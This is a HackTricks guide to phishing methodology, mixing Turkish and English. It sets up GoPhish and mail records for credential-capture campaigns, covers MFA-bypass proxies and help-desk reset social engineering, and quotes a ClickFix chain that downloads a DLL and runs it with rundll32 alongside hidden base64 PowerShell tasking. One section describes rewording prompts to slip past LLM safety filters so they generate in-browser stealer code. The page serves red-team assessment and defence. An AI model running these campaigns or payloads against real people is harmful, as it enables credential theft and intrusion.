Phishing Metodolojisi
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Metodoloji
- Recon the victim
- Select the victim domain.
- Perform some basic web enumeration searching for login portals used by the victim and decide which one you will impersonate.
- Use some OSINT to find emails.
- Prepare the environment
- Buy the domain you are going to use for the phishing assessment
- Configure the email service related records (SPF, DMARC, DKIM, rDNS)
- Configure the VPS with gophish
- Prepare the campaign
- Prepare the email template
- Prepare the web page to steal the credentials
- Launch the campaign!
Generate similar domain names or buy a trusted domain
Domain Name Variation Techniques
- Keyword: The domain name contains an important keyword of the original domain (e.g., zelster.com-management.com).
- hypened subdomain: Change the dot for a hyphen of a subdomain (e.g., www-zelster.com).
- New TLD: Same domain using a new TLD (e.g., zelster.org)
- Homoglyph: It replaces a letter in the domain name with letters that look similar (e.g., zelfser.com).
- Transposition: It swaps two letters within the domain name (e.g., zelsetr.com).
- Singularization/Pluralization: Adds or removes “s” at the end of the domain name (e.g., zeltsers.com).
- Omission: It removes one of the letters from the domain name (e.g., zelser.com).
- Repetition: It repeats one of the letters in the domain name (e.g., zeltsser.com).
- Replacement: Like homoglyph but less stealthy. It replaces one of the letters in the domain name, perhaps with a letter in proximity of the original letter on the keyboard (e.g, zektser.com).
- Subdomained: Introduce a dot inside the domain name (e.g., ze.lster.com).
- Insertion: It inserts a letter into the domain name (e.g., zerltser.com).
- Missing dot: Append the TLD to the domain name. (e.g., zelstercom.com)
Automatic Tools
Websites
- https://dnstwist.it/
- https://dnstwister.report/
- https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/
Bitflipping
There is a possibility that one of some bits stored or in communication might get automatically flipped due to various factors like solar flares, cosmic rays, or hardware errors.
When this concept is applied to DNS requests, it is possible that the domain received by the DNS server is not the same as the domain initially requested.
For example, a single bit modification in the domain “windows.com” can change it to “windnws.com.”
Attackers may take advantage of this by registering multiple bit-flipping domains that are similar to the victim’s domain. Their intention is to redirect legitimate users to their own infrastructure.
For more information read https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/
Buy a trusted domain
You can search in https://www.expireddomains.net/ for a expired domain that you could use.
In order to make sure that the expired domain that you are going to buy has already a good SEO you could search how is it categorized in:
Discovering Emails
- https://github.com/laramies/theHarvester (100% free)
- https://phonebook.cz/ (100% free)
- https://maildb.io/
- https://hunter.io/
- https://anymailfinder.com/
E-posta adreslerini daha fazla keşfetmek veya zaten bulduğunuz adresleri doğrulamak için hedefin smtp sunucularına karşı kullanıcı adı brute-force deneyip deneyemeyeceğinizi kontrol edebilirsiniz. Learn how to verify/discover email address here.
Ayrıca, kullanıcılar e-postalarına erişmek için herhangi bir web portalı kullanıyorsa, bunun username brute force’a karşı zafiyeti olup olmadığını kontrol etmeyi ve mümkünse bu zafiyeti kullanmayı unutmayın.
Configuring GoPhish
Installation
You can download it from https://github.com/gophish/gophish/releases/tag/v0.11.0
Download and decompress it inside /opt/gophish and execute /opt/gophish/gophish
You will be given a password for the admin user in port 3333 in the output. Therefore, access that port and use those credentials to change the admin password. You may need to tunnel that port to local:
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
Yapılandırma
TLS sertifikası yapılandırması
Bu adımdan önce kullanacağınız alan adını zaten satın almış olmanız gerekir ve bu alan adının, gophish’ı yapılandırdığınız VPS’nin IP’ine yönlendirilmiş olması gerekir.
DOMAIN="<domain>"
wget https://dl.eff.org/certbot-auto
chmod +x certbot-auto
sudo apt install snapd
sudo snap install core
sudo snap refresh core
sudo apt-get remove certbot
sudo snap install --classic certbot
sudo ln -s /snap/bin/certbot /usr/bin/certbot
certbot certonly --standalone -d "$DOMAIN"
mkdir /opt/gophish/ssl_keys
cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem
cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
Mail yapılandırması
Yüklemeye başlayın: apt-get install postfix
Sonra alan adını aşağıdaki dosyalara ekleyin:
- /etc/postfix/virtual_domains
- /etc/postfix/transport
- /etc/postfix/virtual_regexp
Ayrıca /etc/postfix/main.cf içindeki aşağıdaki değişkenlerin değerlerini değiştirin
myhostname = <domain>mydestination = $myhostname, <domain>, localhost.com, localhost
Son olarak /etc/hostname ve /etc/mailname dosyalarını alan adınıza göre düzenleyin ve VPS’inizi yeniden başlatın.
Şimdi mail.<domain> için VPS’in IP adresine işaret eden bir DNS A kaydı oluşturun ve mail.<domain>’e işaret eden bir DNS MX kaydı ekleyin.
Şimdi bir e-posta göndermeyi test edelim:
apt install mailutils
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
Gophish yapılandırması
gophish’in çalışmasını durdurun ve yapılandırmaya başlayın./opt/gophish/config.json dosyasını aşağıdaki gibi değiştirin (https kullanımına dikkat):
{
"admin_server": {
"listen_url": "127.0.0.1:3333",
"use_tls": true,
"cert_path": "gophish_admin.crt",
"key_path": "gophish_admin.key"
},
"phish_server": {
"listen_url": "0.0.0.0:443",
"use_tls": true,
"cert_path": "/opt/gophish/ssl_keys/key.crt",
"key_path": "/opt/gophish/ssl_keys/key.pem"
},
"db_name": "sqlite3",
"db_path": "gophish.db",
"migrations_prefix": "db/db_",
"contact_address": "",
"logging": {
"filename": "",
"level": ""
}
}
gophish servisini yapılandırın
gophish servisini oluşturup otomatik olarak başlatılabilir ve bir servis olarak yönetilebilir hale getirmek için aşağıdaki içeriğe sahip /etc/init.d/gophish dosyasını oluşturabilirsiniz:
#!/bin/bash
# /etc/init.d/gophish
# initialization file for stop/start of gophish application server
#
# chkconfig: - 64 36
# description: stops/starts gophish application server
# processname:gophish
# config:/opt/gophish/config.json
# From https://github.com/gophish/gophish/issues/586
# define script variables
processName=Gophish
process=gophish
appDirectory=/opt/gophish
logfile=/var/log/gophish/gophish.log
errfile=/var/log/gophish/gophish.error
start() {
echo 'Starting '${processName}'...'
cd ${appDirectory}
nohup ./$process >>$logfile 2>>$errfile &
sleep 1
}
stop() {
echo 'Stopping '${processName}'...'
pid=$(/bin/pidof ${process})
kill ${pid}
sleep 1
}
status() {
pid=$(/bin/pidof ${process})
if [["$pid" != ""| "$pid" != "" ]]; then
echo ${processName}' is running...'
else
echo ${processName}' is not running...'
fi
}
case $1 in
start|stop|status) "$1" ;;
esac
Servisi yapılandırmayı tamamlayın ve şu işlemleri yaparak kontrol edin:
mkdir /var/log/gophish
chmod +x /etc/init.d/gophish
update-rc.d gophish defaults
#Check the service
service gophish start
service gophish status
ss -l | grep "3333\|443"
service gophish stop
Mail sunucusu ve domain yapılandırması
Bekleyin ve meşru olun
Bir domain ne kadar eskiyse spam olarak yakalanma olasılığı o kadar düşüktür. Bu nedenle phishing değerlendirmesinden önce mümkün olduğunca uzun süre (en az 1 hafta) beklemelisiniz. Ayrıca, itibarlı bir sektöre ait bir sayfa koyarsanız elde edilecek itibar daha iyi olur.
Not: Bir hafta beklemeniz gerekse bile her şeyi şimdi yapılandırmayı bitirebilirsiniz.
Reverse DNS (rDNS) kaydı yapılandırma
VPS’nin IP adresini domain adına çözecek bir rDNS (PTR) kaydı ayarlayın.
Sender Policy Framework (SPF) Record
Yeni domain için bir SPF kaydı yapılandırmalısınız. Eğer SPF kaydının ne olduğunu bilmiyorsanız read this page.
You can use https://www.spfwizard.net/ to generate your SPF policy (use the IP of the VPS machine)
.png)
Bu, domain içindeki bir TXT record içine eklenmesi gereken içeriktir:
v=spf1 mx a ip4:ip.ip.ip.ip ?all
Domain-based Message Authentication, Reporting & Conformance (DMARC) Kaydı
Yeni alan için bir DMARC kaydı yapılandırmalısınız. Eğer DMARC kaydının ne olduğunu bilmiyorsanız bu sayfayı okuyun.
Hostname’i _dmarc.<domain> olan aşağıdaki içeriğe sahip yeni bir DNS TXT kaydı oluşturmalısınız:
v=DMARC1; p=none
DomainKeys Identified Mail (DKIM)
Yeni domain için DKIM yapılandırması yapmalısınız. DMARC kaydı nedir bilmiyorsanız bu sayfayı okuyun.
This tutorial is based on: https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy
Tip
DKIM anahtarının oluşturduğu her iki B64 değerini birleştirmeniz gerekir:
v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
Test your email configuration score
Bunu https://www.mail-tester.com/
kullanarak yapabilirsiniz. Sayfaya erişin ve size verdikleri adrese bir e-posta gönderin:
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
Ayrıca e-posta yapılandırmanızı kontrol edebilirsiniz check-auth@verifier.port25.com adresine bir e-posta göndererek ve yanıtı okuyarak (bunun için 25 numaralı portu açmanız ve e-postayı root olarak gönderirseniz yanıtı /var/mail/root dosyasında görmeniz gerekir).
Tüm testleri geçtiğinizden emin olun:
==========================================================
Summary of Results
==========================================================
SPF check: pass
DomainKeys check: neutral
DKIM check: pass
Sender-ID check: pass
SpamAssassin check: ham
Ayrıca kontrolünüz altındaki bir Gmail’e mesaj gönderebilir ve Gmail gelen kutunuzdaki e-postanın başlıklarını kontrol edebilirsiniz; dkim=pass ifadesi Authentication-Results başlık alanında bulunmalıdır.
Authentication-Results: mx.google.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
dkim=pass header.i=@example.com;
Removing from Spamhouse Blacklist
The page www.mail-tester.com size domain’unuzun spamhouse tarafından engellenip engellenmediğini gösterebilir. Alan adınız/IP’nizin kaldırılmasını şu adresten talep edebilirsiniz: https://www.spamhaus.org/lookup/
Removing from Microsoft Blacklist
Alan adınız/IP’nizin kaldırılmasını şu adresten talep edebilirsiniz: https://sender.office.com/.
Create & Launch GoPhish Campaign
Sending Profile
- Gönderici profilini tanımlamak için bir isim belirleyin
- Phishing e-postalarını hangi hesaptan göndereceğinize karar verin. Öneriler: noreply, support, servicedesk, salesforce…
- Kullanıcı adı ve şifreyi boş bırakabilirsiniz, ancak Ignore Certificate Errors seçeneğini işaretlediğinizden emin olun
 (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png)
Tip
Her şeyin çalıştığını test etmek için “Send Test Email” işlevini kullanmanız önerilir.
Testler sırasında kara listeye alınmanızı önlemek için test e-postalarını 10min mails adreslerine göndermenizi tavsiye ederim.
Email Template
- Şablonu tanımlamak için bir isim belirleyin
- Ardından bir subject yazın (garip olmayan, normal bir e-postada görebileceğiniz bir şey)
- “Add Tracking Image” seçeneğini işaretlediğinizden emin olun
- E-posta şablonunu yazın (aşağıdaki örnekteki gibi değişkenler kullanabilirsiniz):
<html>
<head>
<title></title>
</head>
<body>
<p class="MsoNormal"><span style="font-size:10.0pt;font-family:"Verdana",sans-serif;color:black">Dear {{.FirstName}} {{.LastName}},</span></p>
<br />
Note: We require all user to login an a very suspicios page before the end of the week, thanks!<br />
<br />
Regards,</span></p>
WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
<p>{{.Tracker}}</p>
</body>
</html>
Note that in order to increase the credibility of the email, it’s recommended to use some signature from an email from the client. Suggestions:
- Send an email to a non existent address and check if the response has any signature.
- Search for public emails like info@ex.com or press@ex.com or public@ex.com and send them an email and wait for the response.
- Try to contact some valid discovered email and wait for the response
.png)
Tip
The Email Template also allows to attach files to send. If you would also like to steal NTLM challenges using some specially crafted files/documents read this page.
Landing Page
- Write a name
- Write the HTML code of the web page. Note that you can import web pages.
- Mark Capture Submitted Data and Capture Passwords
- Set a redirection
.png)
Tip
Usually you will need to modify the HTML code of the page and make some tests in local (maybe using some Apache server) until you like the results. Then, write that HTML code in the box.
Note that if you need to use some static resources for the HTML (maybe some CSS and JS pages) you can save them in /opt/gophish/static/endpoint and then access them from /static/<filename>
Tip
For the redirection you could redirect the users to the legit main web page of the victim, or redirect them to /static/migration.html for example, put some spinning wheel (https://loading.io/) for 5 seconds and then indicate that the process was successful.
Users & Groups
- Set a name
- Import the data (note that in order to use the template for the example you need the firstname, last name and email address of each user)
.png)
Campaign
Finally, create a campaign selecting a name, the email template, the landing page, the URL, the sending profile and the group. Note that the URL will be the link sent to the victims
Note that the Sending Profile allow to send a test email to see how will the final phishing email looks like:
.png)
Tip
I would recommend to send the test emails to 10min mails addresses in order to avoid getting blacklisted making tests.
Once everything is ready, just launch the campaign!
Website Cloning
If for any reason you want to clone the website check the following page:
Backdoored Documents & Files
In some phishing assessments (mainly for Red Teams) you will want to also send files containing some kind of backdoor (maybe a C2 or maybe just something that will trigger an authentication).
Check out the following page for some examples:
Phishing MFA
Via Proxy MitM
The previous attack is pretty clever as you are faking a real website and gathering the information set by the user. Unfortunately, if the user didn’t put the correct password or if the application you faked is configured with 2FA, this information won’t allow you to impersonate the tricked user.
This is where tools like evilginx2, CredSniper and muraena are useful. This tool will allow you to generate a MitM like attack. Basically, the attacks works in the following way:
- You impersonate the login form of the real webpage.
- The user send his credentials to your fake page and the tool send those to the real webpage, checking if the credentials work.
- If the account is configured with 2FA, the MitM page will ask for it and once the user introduces it the tool will send it to the real web page.
- Once the user is authenticated you (as attacker) will have captured the credentials, the 2FA, the cookie and any information of every interaction your while the tool is performing a MitM.
Via VNC
What if instead of sending the victim to a malicious page with the same looks as the original one, you send him to a VNC session with a browser connected to the real web page? You will be able to see what he does, steal the password, the MFA used, the cookies…
You can do this with EvilnVNC
Detecting the detection
Obviously one of the best ways to know if you have been busted is to search your domain inside blacklists. If it appears listed, somehow your domain was detected as suspicions.
One easy way to check if you domain appears in any blacklist is to use https://malwareworld.com/
However, there are other ways to know if the victim is actively looking for suspicions phishing activity in the wild as explained in:
You can buy a domain with a very similar name to the victims domain and/or generate a certificate for a subdomain of a domain controlled by you containing the keyword of the victim’s domain. If the victim perform any kind of DNS or HTTP interaction with them, you will know that he is actively looking for suspicious domains and you will need to be very stealth.
Evaluate the phishing
Use Phishious to evaluate if your email is going to end in the spam folder or if it’s going to be blocked or successful.
High-Touch Identity Compromise (Help-Desk MFA Reset)
Modern intrusion sets increasingly skip email lures entirely and directly target the service-desk / identity-recovery workflow to defeat MFA. The attack is fully “living-off-the-land”: once the operator owns valid credentials they pivot with built-in admin tooling – no malware is required.
Attack flow
- Recon the victim
- Harvest personal & corporate details from LinkedIn, data breaches, public GitHub, etc.
- Identify high-value identities (executives, IT, finance) and enumerate the exact help-desk process for password / MFA reset.
- Real-time social engineering
- Phone, Teams or chat the help-desk while impersonating the target (often with spoofed caller-ID or cloned voice).
- Provide the previously-collected PII to pass knowledge-based verification.
- Convince the agent to reset the MFA secret or perform a SIM-swap on a registered mobile number.
- Immediate post-access actions (≤60 min in real cases)
- Establish a foothold through any web SSO portal.
- Enumerate AD / AzureAD with built-ins (no binaries dropped):
# list directory groups & privileged roles
Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME}
# AzureAD / Graph – list directory roles
Get-MgDirectoryRole | ft DisplayName,Id
# Enumerate devices the account can login to
Get-MgUserRegisteredDevice -UserId <user@corp.local>
- Lateral movement with WMI, PsExec, or legitimate RMM agents already whitelisted in the environment.
Detection & Mitigation
- Treat help-desk identity recovery as a privileged operation – require step-up auth & manager approval.
- Deploy Identity Threat Detection & Response (ITDR) / UEBA rules that alert on:
- MFA method changed + authentication from new device / geo.
- Immediate elevation of the same principal (user-→-admin).
- Record help-desk calls and enforce a call-back to an already-registered number before any reset.
- Implement Just-In-Time (JIT) / Privileged Access so newly reset accounts do not automatically inherit high-privilege tokens.
At-Scale Deception – SEO Poisoning & “ClickFix” Campaigns
Commodity crews offset the cost of high-touch ops with mass attacks that turn search engines & ad networks into the delivery channel.
- SEO poisoning / malvertising pushes a fake result such as
chromium-update[.]siteto the top search ads. - Victim downloads a small first-stage loader (often JS/HTA/ISO). Examples seen by Unit 42:
RedLine stealerLumma stealerLampion Trojan
- Loader exfiltrates browser cookies + credential DBs, then pulls a silent loader which decides – in realtime – whether to deploy:
- RAT (e.g. AsyncRAT, RustDesk)
- ransomware / wiper
- persistence component (registry Run key + scheduled task)
Hardening tips
- Block newly-registered domains & enforce Advanced DNS / URL Filtering on search-ads as well as e-mail.
- Restrict software installation to signed MSI / Store packages, deny
HTA,ISO,VBSexecution by policy. - Monitor for child processes of browsers opening installers:
- parent_image: /Program Files/Google/Chrome/*
and child_image: *\\*.exe
- Hunt for LOLBins frequently abused by first-stage loaders (e.g.
regsvr32,curl,mshta).
ClickFix DLL delivery tradecraft (fake CERT update)
- Lure: cloned national CERT advisory with an Update button that displays step-by-step “fix” instructions. Victims are told to run a batch that downloads a DLL and executes it via
rundll32. - Typical batch chain observed:
echo powershell -Command "Invoke-WebRequest -Uri 'https://example[.]org/notepad2.dll' -OutFile '%TEMP%\notepad2.dll'"
echo timeout /t 10
echo rundll32.exe "%TEMP%\notepad2.dll",notepad
Invoke-WebRequestdrops the payload to%TEMP%, a short sleep hides network jitter, thenrundll32calls the exported entrypoint (notepad).- The DLL beacons host identity and polls C2 every few minutes. Remote tasking arrives as base64-encoded PowerShell executed hidden and with policy bypass:
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('<b64_task>')) | Invoke-Expression"
- This preserves C2 flexibility (server can swap tasks without updating the DLL) and hides console windows. Hunt for PowerShell children of
rundll32.exeusing-WindowStyle Hidden+FromBase64String+Invoke-Expressiontogether. - Defenders can look for HTTP(S) callbacks of the form
...page.php?tynor=<COMPUTER>sss<USER>and 5-minute polling intervals after DLL load.
AI-Enhanced Phishing Operations
Attackers now chain LLM & voice-clone APIs for fully personalised lures and real-time interaction.
| Layer | Example use by threat actor |
|---|---|
| Automation | Generate & send >100 k emails / SMS with randomised wording & tracking links. |
| Generative AI | Produce one-off emails referencing public M&A, inside jokes from social media; deep-fake CEO voice in callback scam. |
| Agentic AI | Autonomously register domains, scrape open-source intel, craft next-stage mails when a victim clicks but doesn’t submit creds. |
Defence: • Add dynamic banners highlighting messages sent from untrusted automation (via ARC/DKIM anomalies). • Deploy voice-biometric challenge phrases for high-risk phone requests. • Continuously simulate AI-generated lures in awareness programmes – static templates are obsolete.
See also – agentic browsing abuse for credential phishing:
Ai Agent Mode Phishing Abusing Hosted Agent Browsers
See also – AI agent abuse of local CLI tools and MCP (for secrets inventory and detection):
Ai Agent Abuse Local Ai Cli Tools And Mcp
LLM-assisted runtime assembly of phishing JavaScript (in-browser codegen)
Attackers can ship benign-looking HTML and generate the stealer at runtime by asking a trusted LLM API for JavaScript, then executing it in-browser (e.g., eval or dynamic <script>).
- Prompt-as-obfuscation: encode exfil URLs/Base64 strings in the prompt; iterate wording to bypass safety filters and reduce hallucinations.
- Client-side API call: on load, JS calls a public LLM (Gemini/DeepSeek/etc.) or a CDN proxy; only the prompt/API call is present in static HTML.
- Assemble & exec: concatenate the response and execute it (polymorphic per visit):
fetch("https://llm.example/v1/chat",{method:"POST",body:JSON.stringify({messages:[{role:"user",content:promptText}]}),headers:{"Content-Type":"application/json",Authorization:`Bearer ${apiKey}`}})
.then(r=>r.json())
.then(j=>{const payload=j.choices?.[0]?.message?.content; eval(payload);});
- Phish/exfil: üretilen kod tuzağı kişiselleştirir (ör. LogoKit token parsing) ve kimlik bilgilerini prompt-gizli endpoint’e gönderir.
Evasion traits
- Trafik bilinen LLM domain’lerine veya saygın CDN proxy’lerine gider; bazen WebSockets ile bir backend’e.
- Statik payload yok; kötü amaçlı JS sadece render edildikten sonra ortaya çıkar.
- Deterministik olmayan üretimler her oturum için benzersiz stealers üretir.
Detection ideas
- JS etkin sandboxes çalıştırın; LLM yanıtlarından kaynaklanan runtime
eval/dynamic script creation için işaretleyin. - Dönen metin üzerinde hemen ardından
eval/Functionçalıştırılan front-end’den LLM API’lerine yapılan POST’ları arayın. - İstemci trafiğinde yetkisiz LLM domain’leri ve ardından gelen kimlik bilgisi POST’ları tespit edildiğinde alarm verin.
MFA Fatigue / Push Bombing Variant – Forced Reset
Klâsik push-bombing’in dışında, operatörler yardım-desk çağrısı sırasında basitçe yeni bir MFA kaydı zorlarlar, kullanıcının mevcut token’ını geçersiz kılarlar. Sonraki herhangi bir oturum açma isteği mağdur için meşru görünür.
[Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?”
[Help-Desk] → AzureAD: ‘Delete existing methods’ → sends registration e-mail
[Attacker] → Completes new TOTP enrolment on their own device
Monitor for AzureAD/AWS/Okta events where deleteMFA + addMFA occur within minutes from the same IP.
Clipboard Hijacking / Pastejacking
Saldırganlar, ele geçirilmiş veya typosquatted bir web sayfasından kurbanın clipboard’una kötü amaçlı komutları sessizce kopyalayabilir ve ardından kullanıcıyı bunları Win + R, Win + X veya bir terminal penceresine yapıştırmaya kandırarak herhangi bir indirme veya ek olmadan rastgele kod çalıştırabilir.
Mobile Phishing & Malicious App Distribution (Android & iOS)
Mobile Phishing Malicious Apps
Romance-gated APK + WhatsApp pivot (dating-app lure)
- APK, statik kimlik bilgilerini ve profil başına “unlock codes” (sunucu auth yok) gömer. Kurbanlar sahte bir ayrıcalık akışını takip eder (login → locked profiles → unlock) ve doğru kodlarda, spyware sessizce çalışırken saldırgan kontrolündeki
+92numaralarla WhatsApp sohbetlerine yönlendirilir. - Toplama girişten önce bile başlar: hemen device ID’nin exfil’i, kişiler (cache’den
.txtolarak) ve belgeler (resimler/PDF/Office/OpenXML). Bir content observer yeni fotoğrafları otomatik olarak yükler; zamanlanmış bir görev her 5 minutes’te yeni belgeler için yeniden tarama yapar. - Kalıcılık:
BOOT_COMPLETEDiçin kaydolur ve yeniden başlatmalardan ve arka plan kaldırılmalarından kurtulmak için bir foreground service’i canlı tutar.
WhatsApp device-linking hijack via QR social engineering
- Bir tuzak sayfası (ör. sahte ministry/CERT “channel”) bir WhatsApp Web/Desktop QR gösterir ve kurbanı taraması için yönlendirir; bu işlem saldırganı sessizce bir linked device olarak ekler.
- Saldırgan, oturum kaldırılana kadar sohbet/kontak görünürlüğünü hemen elde eder. Kurbanlar daha sonra “new device linked” bildirimi görebilir; savunucular, güvenilmeyen QR sayfalarına ziyaretlerden kısa süre sonra beklenmeyen device-link olayları için arama yapabilir.
Mobile‑gated phishing to evade crawlers/sandboxes
Operatörler, masaüstü crawler’ların son sayfalara ulaşmaması için phishing akışlarını basit bir cihaz kontrolünün arkasına koyuyor. Yaygın bir desen, touch-capable bir DOM’u test eden ve sonucu bir server endpoint’ine post eden küçük bir script’tir; non‑mobile istemciler HTTP 500 (veya boş bir sayfa) alırken, mobile kullanıcılar tam akışı görür.
Minimal client snippet (typical logic):
<script src="/static/detect_device.js"></script>
detect_device.js mantığı (basitleştirilmiş):
const isMobile = ('ontouchstart' in document.documentElement);
fetch('/detect', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({is_mobile:isMobile})})
.then(()=>location.reload());
Sunucuda sık gözlemlenen davranışlar:
- Sets a session cookie during the first load.
- Accepts
POST /detect {"is_mobile":true|false}. - Returns 500 (or placeholder) to subsequent GETs when
is_mobile=false; serves phishing only iftrue.
Avlama ve tespit heuristikleri:
- urlscan query:
filename:"detect_device.js" AND page.status:500 - Web telemetry: sequence of
GET /static/detect_device.js→POST /detect→ HTTP 500 for non‑mobile; legitimate mobile victim paths return 200 with follow‑on HTML/JS. - İçeriği yalnızca
ontouchstartveya benzeri cihaz kontrollerine göre gösteren sayfaları engelleyin veya daha yakından inceleyin.
Savunma ipuçları:
- JS etkin olan ve mobil benzeri parmak izlerine sahip crawler’lar çalıştırarak gated içeriği açığa çıkarın.
- Yeni kayıtlı alan adlarında
POST /detectsonrasında görülen şüpheli 500 yanıtları için uyarı oluşturun.
References
- https://zeltser.com/domain-name-variations-in-phishing/
- https://0xpatrik.com/phishing-domains/
- https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/
- https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy
- 2025 Unit 42 Global Incident Response Report – Social Engineering Edition
- Silent Smishing – mobile-gated phishing infra and heuristics (Sekoia.io)
- The Next Frontier of Runtime Assembly Attacks: Leveraging LLMs to Generate Phishing JavaScript in Real Time
- Love? Actually: Fake dating app used as lure in targeted spyware campaign in Pakistan
- ESET GhostChat IoCs and samples
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


